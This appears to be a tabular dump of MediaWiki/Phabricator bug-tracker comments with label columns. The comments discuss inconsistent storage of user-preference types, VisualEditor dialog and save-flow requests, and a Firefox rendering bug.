+1015903,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Also, just to note that `email-blacklist` is another outlier and is actually an array.",,,1519099509,,PHID-USER-hlhhe6qw6qfkl7wyfhxk,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,242,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+1015902,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Is it in scope for this task to tackle the storing of arrays in options? e.g. the differences between JSON strings (rcfilters-saved-queries), pipe-delimited (timecorrection), newline-delimited (email-blacklist), and what these should be exposed as?",,,1519098837,,PHID-USER-hlhhe6qw6qfkl7wyfhxk,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,242,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+764143,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Hello, we at Russian Wikipedia had **months** of interwiki gadgets not working for some users, because at first `compact-language-links` user option was set to `""""` when switched off, but after some change switching it on and off turns it to `""0""`. (Was finally fixed [[https://ru.wikipedia.org/w/index.php?title=MediaWiki:Interwiki-links.js&diff=81404746&oldid=79892976|here]].) Those who switched the option off after that change had gadget not working, but the project engineers weren't able to reproduce. Other wikis which had borrowed code from us had the issue too, and they most probably won't update the code.
+
+I have no idea why this task's priority is set to ""Low"". I don't know the site policy regarding changing priorities, I will try change to ""Normal"" at least, maybe needs ""High"".",,,1479716929,,PHID-USER-p6gpvwnc6ske65oxuoof,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,177,,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,1,1
+764137,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Hello, we at Russian Wikipedia had **months** of interwiki gadgets not working for some users, because at first `compact-language-links` user option was set to `""""` when switched off, but after some change switching it on and off turns it to `""0""`. (Was finally fixed [[https://ru.wikipedia.org/w/index.php?title=MediaWiki:Interwiki-links.js&diff=81404746&oldid=79892976|here]].) Those who switched the option off after that change had gadget not working, but the project engineers weren't able to reproduce. Other wikis which borrowed code from us had the issue too, and they most probably won't update the code.
+
+I have no idea why this task's priority is set to ""Low"". I don't know the site policy regarding changing priorities, I will try change to ""Normal"" at least, maybe needs ""High"".",,,1479715550,,PHID-USER-p6gpvwnc6ske65oxuoof,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,177,,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,1,1
+1015906,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Preferences has a filter for some values. The search preferences, for example, are normalised to booleans. A few other are casted to integers.
+
+However the filters are only applied on the way into the database. On the way out they become strings regardless and nothing takes care of that.
+
+So aside from the filters not being available to extension-provided preferences (it's a hardcoded privilege for core's own handling), even for the core ones, there's no normalisation on the way out:
+
+```
+rclimit: 50
+rows: ""30""
+searchNs0: true
+searchNs1: false
+..
+searchNs10: ""1""
+searchNs11: false
+searchNs12: false
+searchNs13: false
+searchNs14: ""1""
+```
+
+Quite the mix up.
+
+Few thoughts: Applying it on the way out would be a good start. Though it's not a a great system to use for extensions. We could extend the preference descriptor array with a `kind` property (for int, bool or str). Or perhaps something we can derive from the `type` property (for HTMLForm field type). Though the latter is extendable so we'd need to put it in the HTMLFormField class instead of simply having Preferences map the shortcuts to native types. ",,,1519100319,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,True,,,242,,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+411473,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Preferences has a filter for some values. The search preferences, for example, are normalised to booleans. A few other are casted to integers.
+
+However the filters are only applied on the in to the database. On the way out they become strings regardless and nothing takes care of that.
+
+So aside from the filters not being available to extension-provided preferences (it's a hardcoded privilege for core's own handling), even for the core ones, there's no normalisation on the way out:
+
+```
+rclimit: 50
+rows: ""30""
+searchNs0: true
+searchNs1: false
+..
+searchNs10: ""1""
+searchNs11: false
+searchNs12: false
+searchNs13: false
+searchNs14: ""1""
+```
+
+Quite the mix up.
+
+Few thoughts: Applying it on the way out would be a good start. Though it's not a a great system to use for extensions. We could extend the preference descriptor array with a `kind` property (for int, bool or str). Or perhaps something we can derive from the `type` property (for HTMLForm field type). Though the latter is extendable so we'd need to put it in the HTMLFormField class instead of simply having Preferences map the shortcuts to native types. ",,,1423877781,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,True,,,84,,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+411465,"User preferences are inconsistently stored (bool/int as default, string for overrides)",I have had similar difficulties and personally prefer booleans wherever possible.  They're more reliable and less likely to be unpredictable.  They are either true or false or they're invalid.,,,1423875937,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,84,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0
+684507,"User preferences are inconsistently stored (bool/int as default, string for overrides)","(In reply to Bartosz Dziewoński from comment #1)
+> ...
+> normalizing values of boolean prefs to true/false just before building this
+> list (in ResourceLoaderUserOptionsModule#getScript) seems like the best way.
+
++1 for normalizing boolean preferences so that either
+> `mw.user.options.get( 'anyBooleanPreference' ) === true`
+> `mw.user.options.get( 'anyBooleanPreference' ) === false`
+and nothing else.
+
+The current behavior is ***very*** inconvenient:
+* If I do not set `$wgDefaultUserOptions['usebetatoolbar']`
+(i.e., if I use WikiEditor's default):
+  - If I don't change the preference
+    `mw.user.options.get( 'usebetatoolbar' ) === null`
+  - If I enable the preference
+    `mw.user.options.get( 'usebetatoolbar' ) === ""1""`
+* If I set `$wgDefaultUserOptions['usebetatoolbar'] = 1` (as in WMF cluster[1]):
+  - If I don't change the preference
+    `mw.user.options.get( 'usebetatoolbar' ) === 1`
+  - If I disable the preference
+    `mw.user.options.get( 'usebetatoolbar' ) === ""0""` (non-empty string == true!)
+* On English Wikipedia
+  - If I don't change the preference
+    `mw.user.options.get( 'usebetatoolbar' ) === 1`
+  - If I disable the preference
+    `mw.user.options.get( 'usebetatoolbar' ) === """"` (empty string!)
+
+[1] https://github.com/wikimedia/operations-mediawiki-config/blob/8178a4994c0137f5171798f3e831c0492c8cbc06/wmf-config/CommonSettings.php#L1641",,,1466864706,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,155,,0,0,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1
+240200,"User preferences are inconsistently stored (bool/int as default, string for overrides)","(In reply to Bartosz Dziewoński from comment #1)
+> ...
+> normalizing values of boolean prefs to true/false just before building this
+> list (in ResourceLoaderUserOptionsModule#getScript) seems like the best way.
+
++1 for normalizing boolean preferences so that either
+> mw.user.options.get( 'anyBooleanPreference' ) === true
+> mw.user.options.get( 'anyBooleanPreference' ) === false
+and nothing else.
+
+The current behavior is ***very*** inconvenient:
+* If I do not set $wgDefaultUserOptions['usebetatoolbar']
+(i.e., if I use WikiEditor's default):
+  - If I don't change the preference
+    mw.user.options.get( 'usebetatoolbar' ) === null
+  - If I enable the preference
+    mw.user.options.get( 'usebetatoolbar' ) === ""1""
+* If I set $wgDefaultUserOptions['usebetatoolbar'] = 1 (as in WMF cluster[1]):
+  - If I don't change the preference
+    mw.user.options.get( 'usebetatoolbar' ) === 1
+  - If I disable the preference
+    mw.user.options.get( 'usebetatoolbar' ) === ""0"" (non-empty string == true!)
+* On English Wikipedia
+  - If I don't change the preference
+    mw.user.options.get( 'usebetatoolbar' ) === 1
+  - If I disable the preference
+    mw.user.options.get( 'usebetatoolbar' ) === """" (empty string!)
+
+[1] https://github.com/wikimedia/operations-mediawiki-config/blob/8178a4994c0137f5171798f3e831c0492c8cbc06/wmf-config/CommonSettings.php#L1641",,,1408812707,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,59,,0,0,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1
+240194,"User preferences are inconsistently stored (bool/int as default, string for overrides)","The integer came from $wgDefaultSettings. Set it to string there and it should work, except gadget and maybe the searchNs, because that are dynamically preferences, where the default is not stored in $wgDefaultSettings.",,,1375735877,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+240187,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Values that are actually saved in the database (ie, non-default ones) are always strings, and apparently usually equal to ""1"" (but for boolean prefs any truthy value is technically possible, especially if one uses the API to set them).
+
+Values that are default ones are equal to whatever the programmer decided, and as you can see they might be 1/0, true/false, ""1""/""0"" or null. You should just check for truthiness in this case.
+
+I'm not sure how to solve this, or whether we actually want to solve this; normalizing values of boolean prefs to true/false just before building this list (in ResourceLoaderUserOptionsModule#getScript) seems like the best way.",,,1375703425,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,True,,,5,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,1,0
+54519,"VisualEditor: In the save dialog, also show the ""switch to wikitext"" button in the wikitext diff so they can fix last-minute issues","when saving, there is possibility to check the result visually. allow to edit it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+{T52687}",Medium,50.0,1375606860,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,False,PHID-TASK-escar4ypn3o4hbygakj4,task_description,open,True,c1,3,False,False,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+238847,"VisualEditor: In the save dialog, also show the ""switch to wikitext"" button in the wikitext diff so they can fix last-minute issues","(In reply to comment #2)
+> agreed, james, that would be desireable. but is for sure a very different
+> feature not at all helping out when the diff reveals visual editor did
+> something unexpected.
+It does actually help: you can close the save dialog and switch to source mode, but this is not very discoverable.
+
+Maybe we should consider adding a button to the diff preview that sends you straight to source mode?",,,1390857782,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-escar4ypn3o4hbygakj4,task_subcomment,,True,c1,3,False,,,30,,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,1,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+238842,"VisualEditor: In the save dialog, also show the ""switch to wikitext"" button in the wikitext diff so they can fix last-minute issues","agreed, james, that would be desireable. but is for sure a very different feature not at all helping out when the diff reveals visual editor did something unexpected.",,,1377845408,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-escar4ypn3o4hbygakj4,task_subcomment,,True,c1,3,False,,,8,,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+238835,"VisualEditor: In the save dialog, also show the ""switch to wikitext"" button in the wikitext diff so they can fix last-minute issues","This is an interesting idea, but I think bug 50687 (with a button to switch to the wikitext editor) is probably more discoverable and more useful for some situations.",,,1377815545,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-escar4ypn3o4hbygakj4,task_subcomment,,True,c1,3,True,,,8,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+54493,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,"Greg also reproduced this.  He sees a superscript, but I have an additional issue, that the beta is roughly the same horizontal position.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1375503180,1408815618.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-yr55vawmutvv7jim7igv,task_description,resolved,True,c1,3,True,False,False,4,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+237159,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,*** Bug 71651 has been marked as a duplicate of this bug. ***,,,1412495213,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-yr55vawmutvv7jim7igv,task_subcomment,,True,c1,3,False,,,65,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+237152,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,"Upstream bug has been marked as fixed since 2014-06-19 15:05:07 (for FF33 - currently in Aurora, which seems to be fixed to me), marking this as fixed as well.",,,1408815618,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-yr55vawmutvv7jim7igv,task_subcomment,,True,c1,3,True,,,59,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+237145,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,Seems to be already reported as https://bugzilla.mozilla.org/show_bug.cgi?id=727125,,,1401826563,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-yr55vawmutvv7jim7igv,task_subcomment,,True,c1,3,True,,,48,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+237138,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,Filed as https://bugzilla.mozilla.org/show_bug.cgi?id=1009874,,,1400018028,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-yr55vawmutvv7jim7igv,task_subcomment,,True,c1,3,True,,,45,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+237129,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,Firefox-specific rendering bug.,,,1375765683,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yr55vawmutvv7jim7igv,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+237122,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,"Created attachment 13057
+Screenshot of beta with overline
+
+This is from a few hours ago on enwiki.  It is reproducible (try a fresh account on enwiki), almost 100% of the time (one load seemed not to do it).
+
+**Attached**: {F11270}",,,1375503720,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-yr55vawmutvv7jim7igv,task_subcomment,,True,c1,3,True,,,4,,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+54471,"VisualEditor: Provide a way for interface messages, edit notices, etc to display different content to Visual and Source editors","en.wp user Andrew Gray notes that on creating a page in VE he is given several alternatives to writing a new article, one of which is to search for an existing page to redirect the title to. He asks whether this should be offered to VE users while it does not support redirects.
+
+However, the message is provided by [[MediaWiki:Newarticletext]] and the text is served identically in the source and visual editors. There is no current mechanism to detect in which editor it is being displayed so different content cannot be provided.
+
+There will be occasions where such messages and also edit notices are only relevant to either source or visual editor users or are differently relevant. In other cases the different display formats (e.g. generally horizontal in source, generally vertical in visual) may lead to different presentation choices for optimum impact.
+
+As it is not inconceivable that there will in future be other editors (developed by WMF or others) there should be some way for the editor to uniquely declare itself to such messages and for them to be able to determine what they do if they don't recognise the response. Sort of a:
+IF editor=""VisualEditor"" THEN do X ELSE do Y
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1375469280,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-lusyegvtclbce7nfsesb,task_description,open,True,c1,3,False,False,,4,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+235976,"VisualEditor: Provide a way for interface messages, edit notices, etc to display different content to Visual and Source editors","I don't think there should be a control for separate interface messages.
+
+However either way, meanwhile a workaround is to use a CSS selector (.ve-available or .ve-not-available) to hide or display certain pieces.",,,1378320091,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-lusyegvtclbce7nfsesb,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+235968,"VisualEditor: Provide a way for interface messages, edit notices, etc to display different content to Visual and Source editors","Yes, that does sound far simpler to implement! More difficult to keep the two in synch, but I suppose you can't have everything.",,,1375472876,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-lusyegvtclbce7nfsesb,task_subcomment,,True,c1,3,False,,,4,,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0
+235960,"VisualEditor: Provide a way for interface messages, edit notices, etc to display different content to Visual and Source editors","One possible way to do this is using a different interface message for VE in such cases. MediaWiki:Newarticletext-VE for example.
+
+This looks apparently more simple to do than creating yet another programming language to control such logic on the message itself ;)",,,1375470158,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-lusyegvtclbce7nfsesb,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+54462,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","What it says on the tin: The transclusion editor should have a ""cancel"" button next to ""Apply changes"". This would close the editor without saving any changes.
+Possibly it should require a confirmation if one or more templates have been selected.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52386",Medium,50.0,1375460340,1410807070.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_description,resolved,True,c1,3,False,False,False,4,,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+235532,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","(In reply to John Broughton from comment #8)
+> If in fact the link tool and the Formula window are outside the scope of this>
+> bug, feel free to close the bug
+
+They are. This bug is about dialogs.
+
+Design questions about non-dialogs is a distinct question – raising another ticket is probably a good idea if you think they should be changed.",,,1410807070,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,True,,,63,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+235527,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","As noted previously, there no ""Cancel"" button on the link tool (dialog? insert window?). Also, there is no ""Cancel"" button on the Formula dialog (insert window?). 
+
+I'm reopening this bug because otherwise - in ""Resolved"" status - this bug is much more likely to be ignored. If in fact the link tool and the Formula window are outside the scope of this bug, feel free to close the bug - then we'll know that we need to open a new, separate bug to address those two issues.",,,1407699259,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,False,,,57,,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,0
+235521,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","There is still no ""Cancel"" button on the link tool.",,,1407651731,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,False,,,57,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0
+235517,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""",This was done as part of the window redesign work.,,,1406063829,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ktdxstz7i62g4zy5m5ov,task_subcomment,,True,c1,3,True,,,55,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+235509,"VisualEditor: Dialogs should have a ""cancel"" button next to ""Apply changes""","A user at en.wp has reported that they were unaware that the ^ button on the save page dialog would return them to the article. Consequently they were under the impression that the only options were to preview the changes, save the changes or abort the edit, i.e. there was no way to go back and make addition changes or fix ones they had already made.
+
